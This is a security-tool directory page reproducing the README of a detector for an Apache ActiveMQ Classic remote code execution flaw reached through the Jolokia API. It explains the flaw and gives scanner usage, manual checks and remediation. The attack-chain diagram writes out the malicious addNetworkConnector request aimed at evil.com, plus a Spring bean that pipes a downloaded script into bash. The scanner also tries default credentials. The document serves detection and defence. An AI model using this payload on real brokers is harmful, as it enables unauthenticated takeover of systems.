Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34197 — Detects Apache ActiveMQ Classic RCE (CVE-2026-34197) via Jolokia API with Python and Nmap NSE scripts, checking unauthenticated access and version vulnerability. | Kitploit
Tools/GitHubGitHub/keraattin/cve-2026-34197
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringNetwork SecurityPenetration Testing
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

Detects Apache ActiveMQ Classic RCE (CVE-2026-34197) via Jolokia API with Python and Nmap NSE scripts, checking unauthenticated access and version vulnerability.

View Repository
245 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34197 — Apache ActiveMQ Classic RCE via Jolokia API

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

A remote code execution vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary code by invoking the addNetworkConnector(String) MBean operation through the Jolokia API (/api/jolokia/). The attacker embeds a malicious brokerConfig parameter pointing to a remote Spring XML file, which ActiveMQ fetches and parses, instantiating arbitrary Java objects and achieving code execution.

On ActiveMQ versions 6.0.0 through 6.1.1, the Jolokia endpoint is , making this a zero-click unauthenticated RCE.

completely unauthenticated

This vulnerability was hidden in the codebase for 13 years before discovery with AI assistance.


Table of Contents

  • Quick Facts
  • What is Apache ActiveMQ?
  • Vulnerability Deep Dive
    • The Architecture: Jolokia and JMX
    • The Attack Chain
    • The Authentication Gap
  • Impact Analysis
  • Affected Versions
  • Detection
    • Python Scanner
    • Nmap NSE Script
    • Manual Verification
  • Indicators of Compromise
  • Remediation
  • References
  • Author

Quick Facts

FieldDetail
CVE IDCVE-2026-34197
VendorApache Software Foundation
ProductApache ActiveMQ Classic
Affected VersionsAll versions before 5.19.4 and 6.2.3
Unauthenticated RCEVersions 6.0.0 through 6.1.1 (Jolokia has no auth)
CVSS v3.18.8 (High)
CWECWE-94 — Improper Control of Generation of Code
Attack VectorNetwork
AuthenticationRequired on 5.x; none on 6.0.0 to 6.1.1
User InteractionNone
Exploit MaturityPublic PoC available
Patched InActiveMQ Classic 5.19.4, 6.2.3
Age of Bug~13 years in the codebase
DiscoveryAI-assisted vulnerability research

What is Apache ActiveMQ?

Apache ActiveMQ Classic is one of the most widely deployed open-source message brokers in the Java ecosystem. It implements the Java Message Service (JMS) specification and serves as the backbone of asynchronous communication in thousands of enterprise environments worldwide.

ActiveMQ handles everything from order processing queues and financial transaction pipelines to IoT telemetry streams and microservice event buses. If your organization uses Java-based microservices, event-driven architecture, or any form of asynchronous messaging, there's a good chance ActiveMQ is somewhere in the stack.

root@kitploit:~
                            ActiveMQ Broker
                      ┌───────────────────────┐
                      │                       │
  ┌──────────┐        │   ┌───────────────┐   │         ┌──────────┐
  │ Producer │───────▶│   │    Message    │   │───────▶│ Consumer │
  │ (App A)  │  send  │   │    Queue /    │   │  recv   │ (App B)  │
  └──────────┘        │   │    Topic      │   │         └──────────┘
                      │   └───────────────┘   │
  ┌──────────┐        │                       │         ┌──────────┐
  │ Producer │───────▶│   ┌───────────────┐   │───────▶│ Consumer │
  │ (App C)  │        │   │   Jolokia     │   │         │ (App D)  │
  └──────────┘        │   │   API (:8161) │   │         └──────────┘
                      │   └───────┬───────┘   │
                      └───────────┼───────────┘
                                  │
                           ⚠️ CVE-2026-34197
                           Attack surface here

When an attacker compromises ActiveMQ, they don't just get a shell on one server. They sit in the center of every message flow in the organization, able to read, modify, redirect, or inject messages between critical systems.


Vulnerability Deep Dive

The Architecture: Jolokia and JMX

JMX (Java Management Extensions) is the standard management interface for Java applications. It exposes "MBeans" (Managed Beans) that allow monitoring and control of the application internals. ActiveMQ exposes MBeans for managing brokers, queues, topics, connections, and more.

Jolokia is a JMX-over-HTTP bridge. It translates JMX operations into a RESTful JSON API, making it possible to manage Java applications through HTTP requests rather than requiring a dedicated JMX client.

ActiveMQ Classic ships with Jolokia built in, accessible at /api/jolokia/ on the web console port (default: 8161).

root@kitploit:~
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

This is where the trouble starts. Jolokia exposes the full power of JMX management through a simple HTTP API. And one of the MBean operations available on the broker is addNetworkConnector(String).

The Attack Chain

The addNetworkConnector(String) operation is designed to create network bridges between ActiveMQ broker instances. It accepts a URI string describing how to connect to another broker.

ActiveMQ supports a vm:// URI scheme for in-process broker connections. These URIs support a brokerConfig parameter that points to a Spring XML configuration file. And Spring XML can instantiate arbitrary Java objects.

Here's the full chain:

root@kitploit:~
  Step 1: Attacker sends POST to /api/jolokia/
  ┌────────────────────────────────────────────────────────────┐
  │ POST /api/jolokia/                                         │
  │ {                                                          │
  │   "type": "exec",                                          │
  │   "mbean": "org.apache.activemq:type=Broker,brokerName=    │
  │             localhost",                                    │
  │   "operation": "addNetworkConnector",                      │
  │   "arguments": [                                           │
  │     "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml"    │
  │   ]                                                        │
  │ }                                                          │
  └────────────────────────────────────────────────────────────┘
                              │
                              ▼
  Step 2: ActiveMQ parses the vm:// URI
          Sees brokerConfig=xbean:http://evil.com/pwn.xml
                              │
                              ▼
  Step 3: ActiveMQ fetches http://evil.com/pwn.xml
          (outbound HTTP request from the broker)
                              │
                              ▼
  Step 4: The XML is parsed as Spring configuration
          Spring instantiates beans defined in the XML
                              │
                              ▼
  Step 5: Malicious bean executes arbitrary Java code
          ┌──────────────────────────────────────────┐
          │ <bean class="java.lang.ProcessBuilder">  │
          │   <constructor-arg>                      │
          │     <list>                               │
          │       <value>/bin/bash</value>           │
          │       <value>-c</value>                  │
          │       <value>curl http://evil/sh|bash    │
          │       </value>                           │
          │     </list>                              │
          │   </constructor-arg>                     │
          │ </bean>                                  │
          └──────────────────────────────────────────┘

ActiveMQ is doing exactly what it was designed to do: loading a broker configuration. The problem is that the configuration source is controlled by the attacker, and Spring XML is effectively a code execution format.

The Authentication Gap

This is what elevates the vulnerability from serious to critical:

ActiveMQ VersionJolokia Auth StatusImpact
5.x (< 5.19.4)Authenticated (defaults: admin:admin)Auth'd RCE, often trivially bypassed
6.0.0 to 6.1.1Completely unauthenticatedUnauthenticated RCE
6.1.2 to 6.2.2AuthenticatedAuth'd RCE
5.19.4+ / 6.2.3+PatchedNot vulnerable

On ActiveMQ 6.0.0 through 6.1.1, the Jolokia endpoint requires zero authentication. Anyone who can reach port 8161 gets unauthenticated remote code execution.

Even on versions where Jolokia requires authentication, the default credentials admin:admin are widely known and frequently left unchanged in development, staging, and production environments.


Impact Analysis

Immediate impact on the broker host:

  • Full remote code execution with the privileges of the ActiveMQ process
  • Access to all message queues, topics, and stored messages
  • Ability to read/modify/inject messages in transit
  • Access to configuration files, keystores, and stored credentials

Downstream impact (via message manipulation):

  • Injection of malicious messages into processing queues
  • Modification of financial transactions, orders, or commands in flight
  • Interception of sensitive data flowing through the broker
  • Disruption of all message-dependent services

Enterprise risk amplification:

  • ActiveMQ sits at the intersection of every application that uses it
  • A single compromised broker can affect dozens of connected services
  • Message brokers are typically positioned in trusted network zones with broad access
  • Lateral movement is straightforward from the broker's network position
root@kitploit:~
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

Affected Versions

VersionStatus
ActiveMQ Classic 6.2.3+Patched
ActiveMQ Classic 5.19.4+Patched
ActiveMQ Classic 6.0.0 to 6.2.2Vulnerable (6.0.0 to 6.1.1 = unauthenticated)
ActiveMQ Classic < 5.19.4Vulnerable (authenticated)
ActiveMQ ArtemisNot affected (different codebase)

Detection

Python Scanner

The Python script detects vulnerable ActiveMQ instances through a multi-step analysis.

How it works:

  1. Jolokia Endpoint Check — Tests whether /api/jolokia/ is accessible without authentication (HTTP 200 = open, 401 = auth required)
  2. Default Credential Test — If Jolokia requires auth, tries admin:admin, user:user, admin:activemq
  3. Version Detection — Scrapes /admin/ and / pages for ActiveMQ version strings using regex pattern matching
  4. MBean Accessibility — Performs a safe Jolokia search query for org.apache.activemq:type=Broker to confirm the exploit path exists

No exploit payloads are sent. No commands are executed. The scanner only observes endpoint accessibility and version information.

Usage:

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Single target
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

# With custom credentials
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

# Bulk scan from file with verbose output
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

# HTTPS with SSL verification disabled (default)
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

# Increased timeout for slow networks
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

Options:

FlagDescriptionDefault
-t, --targetSingle target URL (e.g., http://host:8161)—
-f, --fileFile with target URLs, one per line (# comments supported)—
-u, --usernameUsername for Jolokia authentication—
-p, --passwordPassword for Jolokia authentication—
-o, --outputSave results to JSON file—
--timeoutConnection timeout in seconds10
--verify-sslEnable SSL certificate verificationDisabled
-v, --verboseVerbose output with full detailsOff

Example output:

root@kitploit:~
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

Nmap NSE Script

root@kitploit:~
# Install the NSE script
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb

# Basic scan
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia <target>

# Scan a subnet
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

# Multiple common ports
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia <target>

# Scan targets from a file
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

# With service version detection
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia <target>

Example Nmap output:

root@kitploit:~
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

Manual Verification

If you want to check manually with curl:

root@kitploit:~
# Step 1: Check if Jolokia is accessible (should return JSON if open)
curl -sk http://<TARGET>:8161/api/jolokia/ | python3 -m json.tool

# Step 2: Check with default credentials (if Step 1 returns 401)
curl -sk -u admin:admin http://<TARGET>:8161/api/jolokia/ | python3 -m json.tool

# Step 3: Check MBean accessibility (safe read-only query)
curl -sk http://<TARGET>:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=* \
  | python3 -m json.tool

If Step 1 returns a JSON response with Jolokia agent info, the endpoint is unauthenticated. If Step 2 works with default creds, you have authenticated access. Either way, if the broker MBean is accessible, the exploit path exists.


Indicators of Compromise

Watch for these signs in your environment:

IndicatorWhere to CheckWhat to Look For
Jolokia accessWeb console access logsPOST to /api/jolokia/ containing addNetworkConnector
Outbound fetchNetwork logs / firewallHTTP requests from ActiveMQ to unexpected external hosts
Spring XML loadingActiveMQ logsReferences to xbean:http:// URIs
Network connectorsBroker configurationvm:// URIs with brokerConfig parameters you didn't create
Child processesProcess monitoringUnexpected processes spawned by the ActiveMQ Java process

Investigation commands:

root@kitploit:~
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

Remediation

Immediate actions (do these now):

  1. Upgrade ActiveMQ Classic to version 5.19.4 or 6.2.3 (depending on your branch)
  2. Restrict Jolokia access by adding firewall rules or reverse proxy ACLs to block external access to /api/jolokia/
  3. Change default credentials if you're running admin:admin on the web console

Short-term (this week):

  1. Audit Jolokia access logs for signs of exploitation (look for addNetworkConnector operations)
  2. Review network connectors on all ActiveMQ instances for unauthorized entries
  3. Check for unexpected outbound connections from ActiveMQ broker hosts
  4. Rotate credentials for any services that connect through the broker

Long-term:

  1. Network segmentation for message broker infrastructure (dedicated management VLAN)
  2. Monitoring for Jolokia access patterns with alerting on unexpected MBean operations
  3. Include ActiveMQ in regular vulnerability scanning and patch management cycles
  4. Disable Jolokia entirely if JMX management is not needed, or bind it to localhost only

References

  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API
  • SecurityWeek — RCE Bug Lurked in Apache ActiveMQ Classic for 13 Years
  • Help Net Security — Apache ActiveMQ RCE Vulnerability CVE-2026-34197
  • CSO Online — Claude Uncovers a 13-year-old ActiveMQ RCE Bug
  • CCB Belgium — Warning: High Severity Vulnerability in Apache ActiveMQ
  • CSA Singapore — Critical Vulnerability in Apache ActiveMQ Classic
  • GBHackers — Claude Identifies Critical 13-Year-Old RCE Vulnerability

Author

Kerem Oruç — Cybersecurity Engineer

  • GitHub: @keraattin
  • Twitter: @keraattin
Download Tool